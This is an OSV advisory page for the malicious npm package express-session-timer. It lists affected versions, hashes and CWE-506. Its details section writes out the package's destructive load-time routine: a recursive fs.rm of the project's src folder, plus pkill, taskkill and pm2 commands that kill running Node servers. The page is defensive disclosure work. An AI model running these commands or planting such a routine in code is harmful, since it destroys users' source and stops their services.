MAL-2026-16065

See a problem?

Import Source

https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/express-session-timer/MAL-2026-16065.json

JSON Data

https://api.osv.dev/v1/vulns/MAL-2026-16065

Published

2026-09-09T01:41:37Z

Modified

2026-09-09T02:00:04Z

Summary

Malicious code in express-session-timer (npm)

Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f)

express-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after require('express-session-timer'), the package recursively removes <cwd>/src via fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true}) and terminates Node processes with pkill -f "node.*${process.cwd()}" on Unix, taskkill /IM node.exe /F on Windows, and npx pm2 delete all. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins express-timer: ^0.0.1-security, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.

Database specific

{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-019754",
            "import_time": "2026-09-09T01:51:49.577322873Z",
            "modified_time": "2026-09-09T01:42:21Z",
            "sha256": "00eac4d0f15311278581562efe1555e048ce855c65104d099af4dddc07c2795d",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "id": "IN-MAL-2026-019755",
            "import_time": "2026-09-09T01:51:49.694167126Z",
            "modified_time": "2026-09-09T01:42:30Z",
            "sha256": "325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f",
            "source": "amazon-inspector",
            "versions": [
                "1.0.1"
            ]
        },
        {
            "id": "IN-MAL-2026-019749",
            "import_time": "2026-09-09T01:51:49.061534597Z",
            "modified_time": "2026-09-09T01:41:37Z",
            "sha256": "398cafd4f124621898f147aa0dda153737f202110454bebf295702d44bab4abe",
            "source": "amazon-inspector",
            "versions": [
                "1.0.13"
            ]
        },
        {
            "id": "IN-MAL-2026-019750",
            "import_time": "2026-09-09T01:51:49.160195686Z",
            "modified_time": "2026-09-09T01:41:44Z",
            "sha256": "7b07974b64ed463310b6ed3f8d50dec25f71dbea81e48eabd11f9fbd780179c5",
            "source": "amazon-inspector",
            "versions": [
                "1.0.14"
            ]
        },
        {
            "id": "IN-MAL-2026-019751",
            "import_time": "2026-09-09T01:51:49.255116211Z",
            "modified_time": "2026-09-09T01:41:54Z",
            "sha256": "d29f13ecbca1a218f86c2e641fdab971c2576eb4885931f9472768784d45489a",
            "source": "amazon-inspector",
            "versions": [
                "1.0.16"
            ]
        }
    ]
}

References

Credits

- Amazon Inspector - FINDER
- - inspector-research@amazon.com

Affected packages

npm / express-session-timer

Package

Name: express-session-timer; View open source insights on deps.dev
Purl: pkg:npm/express-session-timer

Affected ranges

Affected versions

1.*

1.0.0

1.0.1

1.0.13

1.0.14

1.0.16

Database specific

cwes

[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]

indicators

{
    "evidence_files": [
        {
            "path": "index.js",
            "sha256": "32ee0e5d694c1f305f7bc58397f72af2b2f57f50403f63a506a285fda438f862",
            "tlsh": "8341fb6329faa0b096f10fe096320543786bca221618e25576ddc2fa0ff15158637dfc"
        }
    ],
    "package_integrity": [
        {
            "filename": "express-session-timer-1.0.0.tgz",
            "hashes": {
                "sha1": "1d5c25eaa86e7f14c66f76c3000fb2b4a1732279",
                "sha512_sri": "sha512-KOyAMl2Wsb3uMglxK3a/H9mnqhx9aIXN9OnSS7imUY6PnriN6RgbGdCTLeX0yt9fHXNG8LpO0HMeRx0KYYziaA=="
            }
        }
    ]
}

source

"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/express-session-timer/MAL-2026-16065.json"